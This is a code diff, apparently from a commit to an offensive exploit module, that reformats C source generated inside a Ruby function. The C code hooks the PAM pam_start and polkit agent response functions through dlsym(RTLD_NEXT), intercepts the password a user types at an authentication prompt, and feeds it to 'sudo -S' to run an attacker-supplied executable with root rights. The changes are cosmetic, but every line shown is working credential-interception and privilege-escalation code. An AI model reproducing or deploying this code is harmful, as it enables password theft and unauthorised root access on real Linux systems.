@@ -174,23 +174,25 @@ def c_code(exe_file)
174
174
int msg_style;
175
175
const char *msg;
176
176
};
177
+
177
178
struct pam_response {
178
179
char *resp;
179
180
int resp_retcode;
180
181
};
182
+
181
183
struct pam_conv {
182
184
int (*conv)(int num_msg, const struct pam_message **msg,
183
185
struct pam_response **resp, void *appdata_ptr);
184
186
void *appdata_ptr;
185
187
};
186
188
187
- void run_sudo(char* password){
188
- FILE* sudo = popen("sudo -S #{ exe_file } ","w");
189
+ void run_sudo(char* password) {
190
+ FILE* sudo = popen("sudo -S #{ exe_file } ", "w");
189
191
fprintf(sudo,"%s\\ n",password);
190
192
pclose(sudo);
191
193
}
192
194
193
- int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
195
+ int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
194
196
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
195
197
int i;
196
198
int passwd_index = -1;
@@ -199,14 +201,14 @@ def c_code(exe_file)
199
201
passwd_index = i;
200
202
}
201
203
}
202
- int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
204
+ int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
203
205
if(passwd_index >= 0){
204
206
run_sudo(resp[passwd_index]->resp);
205
207
}
206
208
return result;
207
209
}
208
210
209
- int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)){
211
+ int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
210
212
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
211
213
if(!orig_pam_start){
212
214
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
@@ -217,13 +219,13 @@ def c_code(exe_file)
217
219
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
218
220
}
219
221
220
- void polkit_agent_session_response (void *session, char *response) __attribute__((export)){
222
+ void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
221
223
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
222
224
if(!orig_polkit_agent_session_response){
223
225
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
224
226
}
225
227
run_sudo(response);
226
- orig_polkit_agent_session_response(session,response);
228
+ orig_polkit_agent_session_response(session, response);
227
229
return;
228
230
}
229
231
|
0 commit comments